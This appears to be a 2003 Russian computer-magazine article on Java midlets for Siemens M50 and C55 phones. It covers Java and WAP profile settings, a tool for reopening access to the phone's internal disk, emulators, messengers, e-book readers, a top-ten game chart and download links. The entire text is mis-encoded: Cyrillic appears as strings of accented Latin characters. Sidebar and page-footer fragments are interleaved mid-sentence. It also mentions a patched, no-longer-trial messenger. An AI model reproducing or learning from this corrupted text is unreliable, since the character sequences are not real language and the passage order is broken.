ïîçæå, à ïîêà çàïîìíè, ÷òî äëÿ êàæäîãî ïðèëîæåíèÿ<br />

íàäî áóäåò ñîçäàâàòü îòäåëüíûé êàòàëîã, è âñå<br />

îíè äîëæíû áûòü ðàçìåùåíû èìåííî ïî óêàçàííîìó<br />

ïóòè. Íèêàêèõ ïîäêàòàëîãîâ ñ èãðàìè íè âíóòðè äðóã<br />

äðóãà, íè â êàêîì-ëèáî äðóãîì ìåñòå - èíà÷å òåëåôîí<br />

èõ ïðîñòî íå óâèäèò.<br />

Êñòàòè, ìèäëåòû âïîëíå ìîæíî ïèñàòü ñàìîìó! Òåì áîëåå<br />

÷òî êîíêóðåíöèÿ òóò ìåíüøå, ÷åì íà ðûíêå "áîëüøîãî"<br />

ñîôòà, è âåñüìà âåðîÿòíî, ÷òî òâîÿ ïðîãðàììêà,<br />

ðåøàþùàÿ êâàäðàòíîå óðàâíåíèå, ñòàíåò èçâåñòíîé è<br />

ïîïóëÿðíîé. Ìåæäó ïðî÷èì, ÷òî-òî íå ïîìíþ ÿ ìèäëåòîâ,<br />

ðåøàþùèõ êâàäðàòíûå óðàâíåíèÿ...<br />

Íó äà ëàäíî, âåðíåìñÿ ê íàøèì áàðàíàì. Äëÿ ïóùåé<br />

ïðàâèëüíîñòè òåáå íóæíî íàñòðîèòü ïðîôèëè Java, ïî<br />

ìåíüøå ìåðå äëÿ òîãî, ÷òîáû íîðìàëüíî ñêà÷èâàòü<br />

ìèäëåòû ïî WAP'ó. Ýòî äåëàåòñÿ â ìåíþ "Íàñòðîéêè"-<br />

"Ïåðåäà÷à äàííûõ"-"Ïðîôèëè Java" èëè ïî ïðàâîé<br />

ñîôò-êëàâèøå â ìåíþ èãð. Òàì âñå ñòàíäàðòíî: çàäàåì<br />

âðåìÿ îòêëþ÷åíèÿ îò Ñåòè ïðè áåçäåéñòâèè, ïðîïóñêàåì<br />

çà íåíàäîáíîñòüþ ïàðàìåòðû ïðîêñè, à íàñòðîéêè<br />

äëÿ CSD è GPRS áåðåì ñ ñàéòà ñâîåãî îïåðàòîðà - íóæíû<br />

òå, êîòîðûå ïðåäíàçíà÷åíû äëÿ ïîäêëþ÷åíèÿ êîìïüþòåðà<br />

÷åðåç òåëåôîí ê èíòåðíåòó, à íå äëÿ âêëþ÷åíèÿ<br />

WAP'à íà òåëåôîíå! Íàïðèìåð, äëÿ ÌÒÑ-Ìîñêâà (â<br />

ïîðÿäêå ñîîòâåòñòâóþùèõ ïîëåé): 0885, àíàëîãîâîå,<br />

mts, mts; íåò, internet.mts.ru, mts, mts, 213.087.000.001,<br />

213.087.001.001. Êðîìå òîãî, åñëè òû áóäåøü òåëåôîíîì<br />

ñêà÷èâàòü ìèäëåòû èç Ñåòè, òî òåáå, ñêîðåå âñåãî,<br />

ïîòðåáóåòñÿ èçìåíèòü àäðåñ WAP-ãåéòà, òàê êàê ìíîãèå<br />

îïåðàòîðû íå ïðîïóñêàþò ÷åðåç ñåáÿ java-ïðèëîæåíèÿ<br />

(äà è íåêîòîðûé äðóãîé êîíòåíò). Åñëè ó òåáÿ âñå èìåííî<br />

òàê è ïðîèñõîäèò, òî ïîïðîáóé, íàïðèìåð, âîò ýòè<br />

ãåéòû: 194.048.124.071 èëè 195.098.032.115. Íàñòðàèâàåòñÿ<br />

ýòî â ìåíþ "Íàñòðîéêè"-"Ïåðåäà÷à Äàííûõ"-<br />

"Ïðîôèëè WAP"-"Íàñòðîéêà WAP"-"IP-àäðåñ".<br />

Äëÿ òåõ, êòî õî÷åò ïèñàòü ìèäëåòû ñàì<br />

1. Òâîé ãëàâíûé ëèíê<br />

www.yashka.dp.ua/java<br />

Çäåñü åñòü âñå íåîáõîäèìîå íà÷èíàþùåìó. Äàæå<br />

íåò ñìûñëà ðàñïèñûâàòü ïîäðîáíî...<br />

2. Ñîâåòû ïî ïðîãðàììèðîâàíèþ, â ÷àñòíîñòè è äëÿ<br />

J2ME<br />

http://javatips.narod.ru/<br />

3. Áàçîâàÿ èíôîðìàöèÿ<br />

www.midlet.ru<br />

26 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


Êàê òû óæå ïîíÿë, ïðèëîæåíèÿ íà ßâå ìîæíî ñêà÷èâàòü â<br />

òåëåôîí ÷åðåç WAP . Èçíà÷àëüíî - òîëüêî òàê è íèêàê<br />

èíà÷å. Îáúÿñíÿåòñÿ ýòî ìàðêåòèíãîâûìè èçâðàùåíèÿìè<br />

ôèðìû Siemens, äà è íå òîëüêî åå. Íî âåäü îáû÷íûì<br />

þçåðàì êóäà óäîáíåå ðàáîòàòü ñ òåëåôîíîì ïî äåøåâîìó<br />

êàáåëþ (îò 200-250 ðóáëåé çà êàáåëü â COM-ïîðò íà<br />

www.sotovik.ru èëè www.molotok.ru), ñîåäèíåííîìó ñ<br />

êîìïîì, ÷åì èçâðàùàòüñÿ ñ WAP'îì!<br />

Ïîìíèøü, ìû ãîâîðèëè î âíóòðåííåì äèñêå òåëåôîíà?<br />

Ñèìåíñ çàêðûë ê íåìó äîñòóï (êîòîðûé, îñóùåñòâëÿåòñÿ<br />

ïðîãðàììîé Data Exchange Software), è ïðèøëîñü ñâîèìè<br />

ðóêàìè êîïàòüñÿ â ïðîøèâêå, ÷òîáû îòêðûòü åãî ñíîâà.<br />

Ðåçóëüòàòîì ñòàëà ìîÿ ïðîãðàììà "Siemens AeroOff<br />

& Java Enabler v.2.1", êîòîðàÿ ïîìîæåò òåáå â ýòîì äåëå.<br />

Siemens AeroOff & Java Enabler v.2.1 -<br />

ñêðîìåí è àñêåòè÷åí<br />

Äëÿ åå èñïîëüçîâàíèÿ òåáå ïîòðåáóåòñÿ ñïåöèàëüíûé<br />

êàáåëü - ñ âíåøíèì ïèòàíèåì åãî ìèêðîñõåì. Ïîäðîáíî<br />

ïðî êàáåëè òû ñìîæåøü ïî÷èòàòü íà<br />

www.o45m.ru/soft9. ß æå ïðîñòî îòìå÷ó, ÷òî ðîäíûå ñèìåíñîâñêèå<br />

êàáåëè (íàïðèìåð, èç ïîñòàâêè S/ME45)<br />

äëÿ ýòîãî íå ïîäõîäÿò. Ïîäõîäÿò ïî÷òè âñå êàáåëè îò<br />

òåëåôîíîâ ñåðèè õ35, íåêîòîðûå USB-êàáåëè (íàïðèìåð,<br />

îò Mobile Action, äà è âîîáùå - ëþáûå, ãäå åñòü<br />

ïîäçàðÿäêà). Ëó÷øå âñåãî, ïîêóïàÿ êàáåëü íà ðûíêå<br />

èëè â èíòåðíåòå, ñïåöèàëüíî ñïðàøèâàòü "êàáåëü äëÿ<br />

ïåðåïðîøèâêè", ïðîäàâöû îáû÷íî â êóðñå äåëà è ïðîäàäóò<br />

òî, ÷òî íàäî. Íî íà âñÿêèé ñëó÷àé âñåãäà äîãîâàðèâàéñÿ<br />

î ìàíèáýêå...<br />

Ýòî ÷òî êàñàåòñÿ Ì(Ò)50. Â C55 Ñèìåíñ ââåë íîâûé ôîðìàò<br />

ðàçúåìà, è ïîýòîìó ñòàðûå êàáåëè íå ïîäõîäÿò âîîáùå.<br />

Åñòü íåñêîëüêî âîçìîæíûõ ðåøåíèé: êóïèòü USB-êàáåëü ó<br />

òîãî æå Mobile Action'à, ïåðåäåëàòü êàáåëü îò ïðåäûäóùèõ<br />

ìîäåëåé, ïåðåäåëàòü ðîäíîé êàáåëü îò C55. Â äâóõ ïîñëåäíèõ<br />

ñëó÷àÿõ íàäî áðàòü â ðóêè ïàÿëüíèê. Åñëè ýòî òåáå<br />

íå ïî ïëå÷ó, òî êîïè äåíüãè è ïîêóïàé USB âàðèàíò...<br />

Ïîñëå òîãî, êàê êóïèë èëè ñïàÿë âñå, ÷òî íóæíî, ñîâåðøàåøü<br />

ñëåäóþùèå äåéñòâèÿ:<br />

1) Ïîäêëþ÷àåøü òåëåôîí ïî êàáåëþ ê êîìïó.<br />

2) Çàïóñêàåøü ïðîãðàììó "Siemens AeroOff & Java<br />

Enabler".<br />

3) Âûêëþ÷àåøü òåëåôîí.<br />

4) Íàæèìàåøü åäèíñòâåííóþ íàëè÷åñòâóþùóþ â ïðîãðàììå<br />

êíîïî÷êó - "Start" ;-).<br />

5) Óáåäèñü, ÷òî â ñòàòóñ-áàðå íàïèñàíî "Scanning", è<br />

êîðîòêî íàæìè êíîïêó íà òåëåôîíå, íà êîòîðîé íàðèñîâàíà<br />

êðàñíàÿ òðóáêà.<br />

6) Åñëè âñå íîðìàëüíî, òî ïðîãðàììà áûñòðåíüêî ñîåäèíèòñÿ<br />

ñ òåëåôîíîì è ñäåëàåò âñå, ÷òî íóæíî.<br />

7) Òåïåðü ìîæåøü óñòàíàâëèâàòü DES è ðàäîâàòüñÿ<br />

õîæäåíèþ ïî äèñêó òåëåôîíà.<br />

Ôàêòè÷åñêè, åäèíñòâåííàÿ ïðîáëåìà, êîòîðàÿ ìîæåò ó<br />

òåáÿ âîçíèêíóòü - ïðîãðàììà íå îòðåàãèðóåò íà íàæàòèå<br />

"êðàñíîé òðóáêè" è îñòàíåòñÿ âèñåòü íà ñêàíèíãå.<br />

Òîãäà íà âñÿêèé ñëó÷àé ïîïðîáóé ïîâòîðèòü îïèñàííóþ<br />

ïîñëåäîâàòåëüíîñòü äåéñòâèé åùå ðàç. Åñëè è òåïåðü<br />

íå âûõîäèò - çíà÷èò ó òåáÿ ïëîõîé êàáåëü. Èíñòðóêöèþ,<br />

îïèñûâàþùóþ ñõåìó ïîâåäåíèÿ â òàêèõ ñëó÷àÿõ, èùè<br />

ïî ïðèâåäåííîé âûøå ññûëêå.<br />

<br />

Óñòàíîâëåííûé DES âñòðàèâàåòñÿ â îáû÷íîãî "Ïðîâîäíèêà",<br />

è òû ñìîæåøü âèäåòü ôëåêñ-äðàéâ òåëåôîíà ïðÿ-<br />

<br />

ìî â ñïèñêå äèñêîâ, îí áóäåò íàçûâàòüñÿ "Mobile". Ëó÷øå<br />

âñåãî ñðàçó çàáýêàïèòü âñå, ÷òî òû òàì íàéäåøü -<br />

ìàëî ëè ÷òî. Íî, â îáùåì è öåëîì, ðàáîòà ñ DES íå<br />

ïðåäñòàâëÿåò ñëîæíîñòè - òû ìîæåøü çàêà÷èâàòü è ñêà-<br />

÷èâàòü òóäà-ñþäà âñå, ÷òî äóøå óãîäíî, ðàçâå ÷òî, îáðàùàé<br />

âíèìàíèå íà êîëè÷åñòâî ñâîáîäíîãî ìåñòà - âåäü<br />

äèñê íà òåëåôîíå ñîâñåì íåáîëüøîé.<br />

Îòñþäà ñðàçó âûòåêàåò ïîòðåáíîñòü â äðóãîé ïîëåçíîé<br />

ïðîãðàììå - ýìóëÿòîðå òåëåôîíà. Äà-äà, èìåííî ýìóëÿòîðå!<br />

Òû ìîæåøü äåëàòü ñ íèì âñå òî æå ñàìîå, ÷òî<br />

è ñ îáû÷íîé ìîáèëîé - ðàáîòàþò âñå âîçìîæíîñòè,<br />

êðîìå, åñòåñòâåííî, íåïîñðåäñòâåííî òåëåôîííûõ.<br />

Âñå äîñòàòî÷íî ïðîñòî: óñòàíàâëèâàåøü (óáåäèñü, ÷òî<br />

ó òåáÿ åñòü Java Development Kit, à åñëè íåò - ñêà÷àé),<br />

çàïóñêàåøü, íàæèìàåøü F9, ÷òîáû "âñòàâèòü" ñèì-êàðòó,<br />

è ðàçâëåêàåøüñÿ. Ñàìîå ãëàâíîå - òû ìîæåøü ñêîïèðîâàòü<br />

ñðàçó âñå ìèäëåòû, êîòîðûå õî÷åøü ïîñìîòðåòü,<br />

â êàòàëîã ê ýìóëÿòîðó<br />

(C:\Siemens\SMTK\C55\filesystem\java\jam) è èçó÷àòü â<br />

íåì, à íå ãîíÿòü òóäà-ñþäà ïî êàáåëþ â ìîáèëó.<br />

À äëÿ òåõ, êòî áóäåò ñàì ïèñàòü ñâîé ñîôò - ýòî<br />

íåçàìåíèìûé äåáàããåð!<br />

Ññûëêè äëÿ ðàáîòû ñ ßâîé<br />

1. DES - ÷òîáû õîäèòü ïî äèñêó ìîáèëû ñ êîìïà<br />

www.o45m.ru/software/dataexchangesoftware_v267<br />

.exe<br />

2. Àêòèâèðîâàòü ßâó â M(T)50, C55<br />

http://download.siemensclub.ru/files/Siemens_AeroOff_&_JavaEnabler_21.rar<br />

è åñëè íå çàðàáîòàåò, òî äîáàâü åé<br />

http://download.siemensclub.ru/files/ocxregister.rar<br />

3. Ýìóëÿòîð Ì50<br />

http://download.siemens-club.ru/files/smtkM50.exe<br />

4. Ýìóëÿòîð C55<br />

http://download.siemens-club.ru/files/smtkC55.exe<br />

5. Java Runtime Enviroment - ñîéäåò çà JDK<br />

www.yashka.dp.ua/java/files/j2re-1_4_1_01-windows-i586-i.exe<br />

6. Ñîçäàåì êàáåëü äëÿ C55 ñâîèìè ðóêàìè<br />

http://forum.siemensclub.ru/viewtopic.php?TopicID=10754


ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

PC_Zone<br />

ÌÎÁÈËÜÍÛÉ ÊÎÔÅ<br />

Skylord (sky_lord@mail.ru)<br />

Ýìóëÿòîð C55 - æàëêî, ÷òî â êàðìàí íå ïîëîæèøü<br />

Âîò, ýòî, ïîæàëóé, âñå, ÷òî ìîæåò íà ïåðâûõ ïîðàõ ïîíàäîáèòüñÿ<br />

òåáå äëÿ ïîëíîöåííîé ðàáîòû ñ ßâîé â òåëåôîíå.<br />

Åùå áûëî áû õîðîøî âêëþ÷èòü â òåëåôîíå<br />

Netmonitor, òîãäà ìîæíî áóäåò ïðÿìî íà íåì ðàáîòàòü<br />

ñ ôëåêñ-äðàéâîì, íî î Íåòìîíèòîðå ïîãîâîðèì êàê-íèáóäü<br />

ïîòîì.<br />

<br />

À òåïåðü, íàêîíåö, òî, ðàäè ÷åãî âñå ýòî çàòåâàëîñü -<br />

Java-ïðèëîæåíèÿ, îíè æå ìèäëåòû. Ñåé÷àñ â ýòîé ôîðìå<br />

ïðåäñòàâëåíî ÷óòü ëè íå âñå, ÷òî âîîáùå ìîæíî íàïèñàòü<br />

íà ÿçûêå ïðîãðàììèðîâàíèÿ. Íî ñêðóïóëåçíûìè<br />

ïîèñêàìè è îòáîðîì íåîáõîäèìîãî òû çàéìåøüñÿ ñàì,<br />

à ÿ òîëüêî ðàññêàæó òåáå î òîì, ÷òî ïîëüçóåòñÿ íàèáîëüøèì<br />

ñïðîñîì è îáû÷íî óñòàíàâëèâàåòñÿ íà âñå òåëåôîíû<br />

ïîãîëîâíî.<br />

<br />

Íàâåðíîå, ìå÷òà êàæäîãî ïîäñåâøåãî íà çåëåíûé Ìèðàáèëèñîâñêèé<br />

öâåòî÷åê - áûòü âñåãäà îíëàéí. Îäíàêî<br />

äàæå åñëè çàáûòü î âñÿêèõ ôîðìàëüíîñòÿõ, òî âñå ðàâíî<br />

íå ïîëó÷èòñÿ êðóãëîñóòî÷íî ñèäåòü çà êîìïîì. Òåïåðü<br />

òåáå íà ïîìîùü ïðèõîäèò òâîÿ ìîáèëà!<br />

Ñðåäè âñåõ àñå÷íûõ êëèåíòîâ (à èõ íåìàëî) ðåàëüíî<br />

íîðìàëüíûìè ÿâëÿþòñÿ, ïîæàëóé, òîëüêî äâà:<br />

QuickSilver Messenger è uMessanger. Â ïðèíöèïå, îíè<br />

ïîõîæè ïî ôóíêöèÿì è íàñòðîéêàì, íî ïðàêòèêà ïîêàçûâàåò<br />

áÎëüøóþ ãëþ÷íîñòü QSM: îí òðåáîâàòåëåí ê<br />

êîëè÷åñòâó ïàìÿòè è ëþáèò âûëåòàòü èç-çà åå íåõâàòêè,<br />

÷òî ÷àñòî ïðîÿâëÿåòñÿ, îñîáåííî íà Ì50. À âîò<br />

uMessenger, ïîïàâ â ðóêè íàøèõ ïðîãðàììåðîâ, íå<br />

òîëüêî ïåðåñòàë áûòü trial'íûì è îáçàâåëñÿ ïàðîé íîâûõ<br />

ôóíêöèé, íî, ÷òî ñàìîå ãëàâíîå, - íàó÷èëñÿ îòïðàâëÿòü<br />

ñîîáùåíèÿ ïî-ðóññêè, ÷òî åñòü áîëüøîé è<br />

æèðíûé ïëþñ. Ñêà÷èâàé, ÷èòàé îïèñàíèå â àðõèâå è óñòàíàâëèâàé<br />

ê ñåáå íà ìîáèëó - íè÷åãî ñëîæíîãî òàì<br />

íåò. Ãëàâíîå - èìåòü ïðàâèëüíûé Java-ïðîôèëü, ñîåäèíåíèå<br />

ïî GPRS - ÷òîáû äåíüãè íå êîí÷èëèñü ÷åðåç äåñÿòü<br />

ìèíóò, è íå îñîáî óñåðäñòâîâàòü ïî ïîâîäó êîëè-<br />

÷åñòâà ïîëüçîâàòåëåé - ÷åì áîëüøå èõ áóäåò â ñïèñêå,<br />

òåì ìåíåå ñòàáèëüíî áóäåò ðàáîòàòü ïðîãðàììà. Òåïåðü<br />

òû ìîæåøü ïðîâîäèòü âðåìÿ íà ëåêöèÿõ ñ òîëêîì.<br />

uMessanger ðàáîòàåò ÷åðåç jabber-ñåðâåð<br />

Ê ñîæàëåíèþ, íå âñå òàê ðàäóæíî ñ ìèäëåòàìè äëÿ ïîëó-<br />

÷åíèÿ è îòïðàâêè îáû÷íîé ýëåêòðîííîé ïî÷òû. Äà íåò,<br />

èõ ïîëíî, ïðîñòî íè îäèí íå ïîääåðæèâàåò ðóññêèé<br />

ÿçûê: êîäèðîâêè Koi8r è Win1251 èì íåèçâåñòíû. À æàëü.<br />

<br />

Ýõ, õî÷åòñÿ èíîãäà äîñòàòü êàêóþ-íèáóäü êíèæêó è çàáûòü<br />

íà ôèã îá îêðóæàþùåé äåéñòâèòåëüíîñòè! Îñîáåííî<br />

ñèëüíî ýòà òÿãà ïðîÿâëÿåòñÿ â äî ïîòîëêà çàïîëíåííîì<br />

ðàííèì óòðîì ìåòðî. À âîò íà ýêçàìåíå îáû÷íî<br />

åñòü ñòðàñòíîå æåëàíèå ê ýòîé ñàìîé äåéñòâèòåëüíîñòè<br />

ïðèáëèçèòüñÿ - õîòÿ áû äî òîé ñòåïåíè, ÷òîáû íå âûãíàëè<br />

èç èíñòèòóòà.<br />

Ìîáèëüíèê è òóò ïðèäåò íàì íà ïîìîùü! ×èòàòü ñ åãî<br />

ïîìîùüþ êíèæêè ëåãêî è ïðèÿòíî. Äëÿ ýòèõ öåëåé âîò<br />

óæå î÷åíü äàâíî ñóùåñòâóåò ìèäëåò MicroReader, êîòîðûé<br />

äî ñèõ ïîð íèêòî íå ñóìåë ïåðåïëþíóòü ïî ôóíêöèîíàëüíîñòè<br />

è óäîáñòâó: òóò òåáå è ïîääåðæêà ðàçíûõ<br />

Ññûëêè íà àñüêè<br />

1. QuickSilver Messenger.<br />

www.softex-india.com/downloads.html<br />

2. Ïàò÷åíûé è ïåðåäåëàííûé uMessanger.<br />

www.angelfire.com/ok5/ums/ums.zip<br />

3. MiMessager - åùå îäèí íåïëîõîé êëèåíò.<br />

http://lagomat.narod.ru/mimess.zip<br />

4. Ïî÷èòàé äëÿ îáùåãî îáðàçîâàíèÿ: íþàíñû àñüêè<br />

íà ßâå.<br />

http://forum.siemensclub.ru/viewtopic.php?TopicID=11272http://forum.siemensclub.ru/viewtopic.php?TopicID=16752<br />

êîäèðîâîê (âêëþ÷àÿ ðóññêèå Koi8r è Win1251), è ÷óòü ëè<br />

íå ëþáîé ðàçìåð ôàéëà ñ òåêñòîì, è ñîõðàíåíèå ïîçèöèè<br />

÷òåíèÿ, è çàêëàäêè, è ïîèñê, è ðåäàêòèðîâàíèå...<br />

Êîðî÷å, âñå, ÷òî òîëüêî ìîæíî ïðèäóìàòü è âîïëîòèòü â<br />

æèçíü. Ïðîëèñòàâ readme ê ýòîìó çàìå÷àòåëüíîìó ìèäëåòó,<br />

òû áûñòðî âñå ïîéìåøü: ñêèäûâàé òåêñòîâûå<br />

ôàéëû â ïîäêàòàëîã Storage êàòàëîãà Ìèêðîðèäåðà è<br />

÷èòàé â ñâîå óäîâîëüñòâèå.<br />

Ìèäëåò MicroReader. Íå Âîðä, íî òîæå íåïëîõî<br />

Ê ñîæàëåíèþ, îãðàíè÷åííîå êîëè÷åñòâî ïàìÿòè M50 è<br />

C55 íå ïîçâîëÿåò èì õðàíèòü äåéñòâèòåëüíî áîëüøèå<br />

òåêñòû (ëþáîé ðîìàí çàíèìàåò îò 400 êá ïàìÿòè), íî ñ<br />

öåëüþ ïîáîðîòü ýòî îãðàíè÷åíèå Blade'îì (êñòàòè, òîæå<br />

íàø ðóññêèé ïðîãðàììåð!) áûë íàïèñàí ìèäëåò<br />

ReaderC, ïîçâîëÿþùèé ðàáîòàòü ñî ñæàòûìè òåêñòàìè.<br />

Ñóòü â òîì, ÷òî jar-ôàéëû - ýòî îáû÷íûå zip'îâñêèå àðõèâû,<br />

è èìåííî ýòèì ôàêòîì ïîëüçóåòñÿ àâòîð ïðîãðàììû.<br />

Íà äàííûé ìîìåíò îíà åùå äîâîëüíî ñûðàÿ,<br />

íî âñå ðàâíî, ýòî, íåñîìíåííî, î÷åíü ïåðñïåêòèâíûé<br />

ïðîäóêò, êîòîðûé ÿ ðåêîìåíäóþ íå âûïóñêàòü èç âèäà.<br />

Àâîñü è íà Ì50 ïîëó÷èòñÿ çàïèõíóòü âñåãî Òîëêèåíà?<br />

<br />

ß áû ñ óäîâîëüñòâèåì ðàññêàçàë òåáå è î äðóãèõ ïðîãðàììàõ<br />

äëÿ òåëåôîíîâ (à èõ äåéñòâèòåëüíî î÷åíü ìíî-<br />

28 Íüþñû 1 Ôåððóì 2 Inside 3<br />

PC_Zone 4 Âçëîì


ãî!), íî íà ýòî ïðîñòî íå õâàòèò ìåñòà. Òû è ñàì ñìî<br />

æåøü îòûñêàòü èõ íà ïðîñòîðàõ Ñåòè, ãëàâíîå - íå ëåíèñü<br />

è ãðàìîòíî ïîëüçóéñÿ ïîèñêîì. À ñåé÷àñ äàâàé<br />

ïåðåéäåì ê ñàìîìó, íàâåðíîå, ãëàâíîìó - òîìó, ÷òî<br />

äëÿ ìíîãèõ èìååò ïåðâîî÷åðåäíîå çíà÷åíèå è ÿâëÿåòñÿ<br />

ñìûñëîì æèçíè - ê èãðàì! Îïèñûâàòü èõ âñå - òàêæå<br />

çàíÿòèå íåáëàãîäàðíîå: êîëè÷åñòâî óæå èñ÷èñëÿåòñÿ<br />

òðåõçíà÷íûìè ÷èñëàìè, ÷òî ÿâëÿåòñÿ, íåñîìíåííî, õîðîøèì<br />

ðåçóëüòàòîì, ó÷èòûâàÿ íåäîëãîå âðåìÿ ñóùåñòâîâàíèÿ<br />

òåëåôîíîâ ñ J2ME. È õîòÿ, êîíå÷íî, ìíîãî<br />

ñðåäè èãð îòêðîâåííîãî áàðàõëà, ñëÿïàííîãî íà êîëåíêå<br />

çà ïîë÷àñà, ïîïàäàþòñÿ è íàñòîÿùèå øåäåâðû (îñîáåííî<br />

ðåêîìåíäóþ îçíàêîìèòüñÿ ñ ïðîäóêöèåé ôèðìû<br />

Gameloft!), ñäåëàííûå ïðîôåññèîíàëàìè, èãðàòü â êîòîðûå<br />

- îäíî óäîâîëüñòâèå. Èòàê, äåðæè ñâîåîáðàçíûé<br />

÷àðò "10 ëó÷øèõ J2ME èãð", ñîñòàâëåííûé íà îñíîâå<br />

ìíåíèÿ êîìïåòåíòíîé èíòåðíåòîâñêîé îáùåñòâåííîñòè,<br />

à èìåííî - ôîðóìà ñàéòà www.siemens-club.ru:<br />

Äåñÿòîå ìåñòî - HTetris. Êàçàëîñü áû - òåòðèñ, ÷òî<br />

ìîæåò áûòü ïðîùå? Íî ýòî - ëó÷øèé ðèìåéê äëÿ ìîáèëüíèêîâ<br />

íàøåé êëàññè÷åñêîé èãðû.<br />

Òåòðèñ è â Àôðèêå - òåòðèñ<br />

Äåâÿòîå ìåñòî - Gameloft's Solitaire. Ïðîçàè÷íåå<br />

íåêóäà: îáû÷íûé ïàñüÿíñ "Êîñûíêà". Íî â èñïîëíåíèè<br />

Gameloft'à ñìîòðèòñÿ è èãðàåòñÿ íå õóæå, ÷åì íà êîìïå.<br />

Ãëàâíîå, íà ìîé âçãëÿä, îòëè÷èå îò ìíîãèõ êàðòî÷íûõ<br />

èãð - âñå êàðòû õîðîøî âèäíû, è íå íàäî ïîðòèòü<br />

ãëàçà â ïîïûòêàõ óãàäàòü, ÷òî ïîÿâèëîñü íà ýêðàíå.<br />

Ìîáèëüíàÿ "Êîñûíêà"<br />

Âîñüìîå ìåñòî - StackAttack2 Pro. Ýòî íå òà èãðóøêà,<br />

÷òî èäåò â êîìïëåêòå M50. Ýòó íàäî ñêà÷èâàòü ñàìîìó<br />

ñ ñàéòà Ñèìåíñà ïî WAP. Ïðèíöèï òîò æå - óêëàäûâàòü<br />

ïàäàþùèå ÿùèêè, íî âñÿêèõ ìåëêèõ ïðèÿòíîñòåé è<br />

äîáàâîê - òèïà âçðûâîâ è ðàçíûõ áîíóñîâ, ñòàëî áîëüøå.<br />

Òÿæåëà ðàáîòà ãðóç÷èêà<br />

Ñåäüìîå ìåñòî - Galaxy Hero. Âñòðîåííàÿ èãðóøêà<br />

èç òåëåôîíà C55 (íà Ì50 íå ðàáîòàåò, òàê êàê òðåáóåò<br />

íàëè÷èÿ ïîëèôîíèè), ÷òî, âïðî÷åì, íå óìàëÿåò åå äîñòîèíñòâ.<br />

Ëåòèøü íà ñàìîëåòå è âñåõ âûíîñèøü. Íà çàðàáîòàííûå<br />

î÷êè ìîæíî àïãðåéäèòü ñâîé ëåòàòåëüíûé<br />

àïïàðàò. Âåðñèÿ Demo, à ïîëíîé ÿ òàê è íå íàøåë... :-(<br />

È ñíèòñÿ íàì íå ðîêîò êîñìîäðîìà<br />

<br />

Âîò, ïîæàëóé, è âñå. Êîíå÷íî, íåâîçìîæíî â òàêîì íåáîëüøîì<br />

ìàòåðèàëå îõâàòèòü âåñü êðóã âîïðîñîâ, îòíîñÿùèõñÿ<br />

ê ßâå äëÿ ìîáèëüíèêîâ, íî ýòî è íå âõîäèëî â<br />

ìîè ïëàíû. Ãëàâíîå, ÷òîáû òåáå ýòî ñòàëî èíòåðåñíî, è<br />

òû ïîíÿë, ÷òî òâîé òåëåôîí - ýòî íå ïðîñòî êóñîê<br />

ïëàñòìàññû ñ àíòåííîé, à ìíîãîôóíêöèîíàëüíûé ïðèáîð,<br />

êîòîðûé òû ìîæåøü àäåêâàòíî èñïîëüçîâàòü, à<br />

ïðè æåëàíèè - äàæå äîïîëíèòü íîâûìè ôóíêöèÿìè, íå<br />

ïðåäóñìîòðåííûìè ïðîèçâîäèòåëåì. À ìîæåò, êîãäàíèáóäü<br />

ïðèÿòåëè óâèäÿò íà ýêðàíå òâîåé ìîáèëû íåçíàêîìóþ<br />

êëåâóþ èãðóøêó è, ñïðîñèâ òåáÿ, îòêóäà îíà<br />

âçÿëàñü, ïîëó÷àò òâîé íåáðåæíûé îòâåò:<br />

"Ñàì íàïèñàë". Ïî-ìîåìó – íåïëîõî :).<br />

Øåñòîå ìåñòî - Caveman. Ìîæåò, êòî ïîìíèò òàêóþ<br />

ñòàðóþ ÄÎÑîâñêóþ èãðó Supaplex? Ïðåëåñòíàÿ áûëà<br />

øòó÷êà! Âîò ýòî îíî è åñòü, ïî÷òè ïîëíàÿ êîïèÿ: ðîåøü<br />

çåìëþ, ñîáèðàåøü àëìàçû è ïûòàåøüñÿ íå óãîäèòü ïîä<br />

âàëÿùèåñÿ èç ñòåí êàìíè. Î÷åíü äàæå íåïëîõî!<br />

Ïàìÿòè Äèããåðà ïîñâÿùàåòñÿ<br />

Ïÿòîå ìåñòî - Rainbow 6: Broken Wing. Ñîãëàøóñü<br />

ñ âûñêàçàííîé íà ôîðóìå ÑèìåíñÊëóáà ìûñëüþ: íó<br />

ïðÿìî CounterStrike! Õîäèøü ñïåöíàçîâöåì è ñ ïîìîùüþ<br />

ðàçíîãî îðóæèÿ óíè÷òîæàåøü òåððîðèñòîâ, ñïàñàåøü<br />

çàëîæíèêîâ è îáåçâðåæèâàåøü áîìáû. Ñóïåð!<br />

À ïóëè ëåòÿò<br />

×åòâåðòîå ìåñòî - Prince of Persia. Äà, äà, äà! Ýòî<br />

èìåííî îí! Ëþáèìûé ñ äåòñòâà, ñ XTøåê è äâóøåê<br />

Ïðèíö - â âåðñèè äëÿ ìîáèëüíèêà. Èãðà äëÿ SL45, ïîýòîìó<br />

íà M50 è C55 îáðåçàí íèæíèé êðàé èçîáðàæåíèÿ,<br />

íî ýòî íå îñîáåííî ìåøàåò.<br />

Ãîäû èäóò - èãðû íå ìåíÿþòñÿ<br />

Òðåòüå ìåñòî - Antilly. Êëàññè÷åñêàÿ àðêàäà. Íàäî<br />

õîäèòü ìîùíûì (ñóäÿ ïî êàðàòåøíûì óäàðàì íîãîé)<br />

ìóðàâüåì è ìî÷èòü âñÿêèõ ïàóêîâ, ï÷åë, à çàîäíî è ñîáèðàòü<br />

áîíóñû. Î÷åíü íåïëîõàÿ ãðàôèêà (÷åãî, ÈÌÕÎ,<br />

íå ñêàæåøü ïî ñêðèíøîòó).<br />

Óãàäàé, ÷òî ýòî?<br />

Ññûëêè íà ÷èòàëêè<br />

<br />

1. MicroReader. Ñàìàÿ ïîïóëÿðíàÿ íà ñåãîäíÿøíèé<br />

äåíü.<br />

http://m50alegon.narod.ru/midlet/MicroReader1.1.zip<br />

2. Îòå÷åñòâåííàÿ ÷èòàëêà ñî ñæàòèåì.<br />

http://m50j2me.narod.ru/ReaderCv0.31.zip<br />

http://forum.siemensclub.ru/viewtopic.php?TopicID=12451<br />

Ìèäëåòû ñ èãðàìè<br />

1. Ïî ýòèì ññûëêàì òû íàéäåøü ðåàëüíî ìíîãî èãð<br />

http://www.siemens-club.ru/soft/soft_java_c55.php<br />

http://mt50.narod.ru/<br />

http://www.mobilesite.ru/Html/games.htm<br />

